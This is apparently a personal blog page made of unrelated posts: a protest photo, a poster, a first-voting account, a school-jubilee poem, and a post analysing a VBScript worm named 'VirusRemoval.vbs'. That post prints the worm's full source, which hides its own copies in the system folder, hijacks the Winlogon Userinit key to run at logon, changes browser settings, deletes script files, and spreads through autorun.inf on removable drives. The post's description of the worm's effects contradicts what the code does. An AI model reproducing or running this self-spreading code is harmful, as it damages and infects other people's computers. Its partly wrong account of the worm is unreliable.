This photo of a little girl eascaping away from the police during clash between students and police force at Chabahil , Kathmandu. This picture won the first award worth of one lakh NRs. For more pictures Follow HERE.

As I personally designed the poster, ticket and cards for the program. Here is the poster of the program.

LIVE IN SYDNEY

Awesome Phtography by Rune T.

The virus was written in Vbscript. Vbscript is the client side scripting language developed by Microsoft. This has the power to alter the configuration of our computer registry. Registry is the configuration database of computer which stores all kind of informations related to our computer. All viruses use this registry to hijack your computer.

Below is the VirusRemoval.vbs file which is the main code of the virus.s

‘******************************************************************
‘********************* Virus Removal VBScript *********************
‘************************** Version 1.00 **************************
‘******************************************************************
‘This antivirus program is intended to repair your computer from
‘any sorts of virus attacks.
‘This program is exactly like a normal virus but it repairs things
‘rather than destroying them.
‘******************************************************************
‘******************************************************************
‘Program developed by
‘Sujin Joshi
‘http://Sujin.com.np
‘sujinjoshi@gmail.com
Option Explicit
On Error Resume Next

Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,root

Set Fso = CreateObject(“Scripting.FileSystemObject”)
Set Shells = CreateObject(“Wscript.Shell”)
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir =Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(WScript.ScriptFullName)
Set Drv = File.Drive
Set InDrive = Fso.drives
Set ReadAll = File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbcrlf
Loop

Count=Drv.DriveType

Do
If Not Fso.FileExists(SystemDir & “\VirusRemoval.vbs”) then
set WriteAll = Fso.CreateTextFile(SystemDir & “\VirusRemoval.vbs”,2,true)
WriteAll.Write AllFile
WriteAll.close
set WriteAll = Fso.GetFile(SystemDir & “\VirusRemoval.vbs”)
WriteAll.Attributes = -1
End If

Shells.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Window Title”,”Sujin.com.np”
Shells.RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,”0″,”REG_DWORD”
Shells.RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,”0″,”REG_DWORD”
Shells.RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,”0″,”REG_DWORD”
Shells.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”,”http://sujin.com.np/”
Shells.RegWrite “HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell”,”explorer.exe”
Shells.RegWrite “HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit”,SystemDir & “\userinit.exe,” & _
SystemDir & “\wscript.exe ” & SystemDir & “\VirusRemoval.vbs”

For Each Drives In InDrive
root = Drives.Path & “\”
If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then
Shells.Run “explorer.exe ” & root
End If
Set folder=Fso.GetFolder(root)
Set Delete = Fso.DeleteFile(SystemDir & “\killvbs.vbs”,true)
For Each files In folder.Files
auto=Left(files.Name,7)
If UCase(auto)=UCase(“autorun”) Then
Set Delete = Fso.DeleteFile(root & files.Name,true)
End If
Next
If Drives.DriveType=2 Then
delext “inf”,Drives.Path & “\”
delext “INF”,Drives.Path & “\”
End if

If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path “A:” Then
delext “vbs”,WinDir & “\”
delext “vbs”,Drives.Path & “\”

If Fso.FileExists(Drives.Path & “\ravmon.exe”) Then
Fso.DeleteFile(Drives.Path & “\ravmon.exe”)
End If
If Fso.FileExists(Drives.Path & “\sxs.exe”) Then
Fso.DeleteFile(Drives.Path & “\sxs.exe”)
End If
If Fso.FileExists(Drives.Path & “\winfile.exe”) Then
Fso.DeleteFile(Drives.Path & “\winfile.exe”)
End If
If Fso.FileExists(Drives.Path & “\run.wsh”) Then
Fso.DeleteFile(Drives.Path & “\run.wsh”)
End If

If Drives.DriveType = 1 Then
If Drives.Path”A:” Then
If Not Fso.FileExists(Drives.Path & “\VirusRemoval.vbs”) Then
Set WriteAll=Fso.CreateTextFile(Drives.Path & “\VirusRemoval.vbs”,2,True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & “\VirusRemoval.vbs”)
WriteAll.Attributes = -1
End If

If Fso.FileExists(Drives.Path & “\autorun.inf”) Or Fso.FileExists(Drives.Path & “\AUTORUN.INF”) Then
Set Chg = Fso.GetFile(Drives.Path & “\autorun.inf”)
Chg.Attributes = -8
Set WriteAll = Fso.CreateTextFile(Drives.Path & “\autorun.inf”,2,True)
WriteAll.writeline “[autorun]“
WriteAll.WriteLine “open=wscript.exe VirusRemoval.vbs”
WriteAll.WriteLine “shell\open=Open”
WriteAll.WriteLine “shell\open\Command=wscript.exe VirusRemoval.vbs”
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & “\autorun.inf”)
WriteAll.Attributes = -1
else
Set WriteAll = Fso.CreateTextFile(Drives.Path & “\autorun.inf”,2,True)
WriteAll.writeline “[autorun]“
WriteAll.WriteLine “open=wscript.exe VirusRemoval.vbs”
WriteAll.WriteLine “shell\open=Open”
WriteAll.WriteLine “shell\open\Command=wscript.exe VirusRemoval.vbs”
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & “\autorun.inf”)
WriteAll.Attributes = -1
End if
End If
End If
End if
End If
Next

if Count 1 then
Wscript.sleep 10000
end if
loop while Count1

sub delext(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile,Cut,Delete
Set oFileSys = CreateObject(“Scripting.FileSystemObject”)
Set oFolder = oFileSys.GetFolder(SrchPath)
For Each oFile In oFolder.Files
Cut=Right(oFile.Name,3)
If UCase(Cut)=UCase(file2find) Then
If oFile.Name “VirusRemoval.vbs” Then Set Delete = oFileSys.DeleteFile(srchpath & oFile.Name,true)
End If
Next
End sub

First this program says that it is the virus removal and the name of the file is also like that to fool the users. Some of the things it does in our system are as follows:

1. It disables the registry: When you go to Run and type “regedit” you cannot see the registry.
2. It puts the string sujin.com.np at the title of the browser.
3. It disables the folder option .
4. It disables the task manager which can be used against the running programs.

The virus can be removed using the download page of worldlink but hey the antivirus kept there is also the program developed by Sujin Joshi who developed the virus. If you understand the basic programming then you can understand how computer virus works. But if anyone copies this code and make their own virus then I pesonally not be responsible in anykind of damage.

Use the following link to remove the virus :

http:
//www.worldlink.com.np/support/download/index.php

Try to learn about the virus and get knowledge how to get rid ot viruses and worms.

It was the wonderful experience to vote for the first time in my life. Yesterday in the morning at 7 am we all family planned to go for voting near our home. Our home is located at Kathmandu election area number 8, Sitapaila VDC. This VDC consists of three voting centers. Ours is located at Yuba Sahabhagita High School. When we reached there we were stunned to see the long queue of people willing to vote. Father was saying that everyone wants to vote soon so it would be traffic. But we all too wanted to vote sooner.

We soon took the appropriate women and men queue. There we stood about one hour then Father decided to come back home and vote at the evening. But I stayed there though I was hungry and my stomach was not so right in the morning. After 2 and half hours only I got my chance to vote. I was exhausted and hungry and soon after voting I returned home and had lunch. I hope the new constitution will address everyones’ rights and issues.

For more information about the CA Election and the future government follow the links:

Election Commission Nepal

We loved the burden less life though without fame
Hanging with nice friends calling by their nickname
Till now the “Dear Lord! Bless me…..” pray refrains in my mind
It is impossible the past school days again to find.

Nice quotations were printed to welcome us near the gate
I still remember to find god I had scratched my forehead
Poison of mind is really caused by superstition
Students were busy to do their all time favorite stamp collection.

Quiz, spelling and debate increased our inner temptation
Football, volleyball and basketball were the physical well-being competition
We had nice and friendly pen pals the Japanese friends
Chulla Chulli initiated the habit of writing something trends.

Raman, Shakespeare and Devkota houses Curie, Einstein and Newton
Fair competition between them we had loads of fun
I was belonged to our amazing musical band
The song of cherish and the joy of friendship we sang.

The famous quote says “teacher is the second parent”
I swear we all got love as of hundred percent
I was the Harry Potter and Chulla Chulli is my Hogwarts
I cannot ignore my school life coz it is my half life part.

Teachers treated us like a small bee baby hive
The good manner inside us then became alive
Knowledge is the way and teachers are the guide
Fear, shame and shy were all gone to hide.

The right direction of life my school day showed
I never forget we ran towards the T.T. board
For the silver jubilee many congratulations from me
I wish my school will celebrate the huge Platinum jubilee.

Additional Information: When celebrating the silver jubilee my school Chula Chulli English Borading School Damak-1, Jhapa I had also send this poem. It was published but some of the parts were missing. Here is the full version of the poem given all to you. You are free to share and modify it according to the following conditions and license:

This work is licensed under a Creative Commons Attribution-Noncommercial-Share Alike 3.0 Unported License.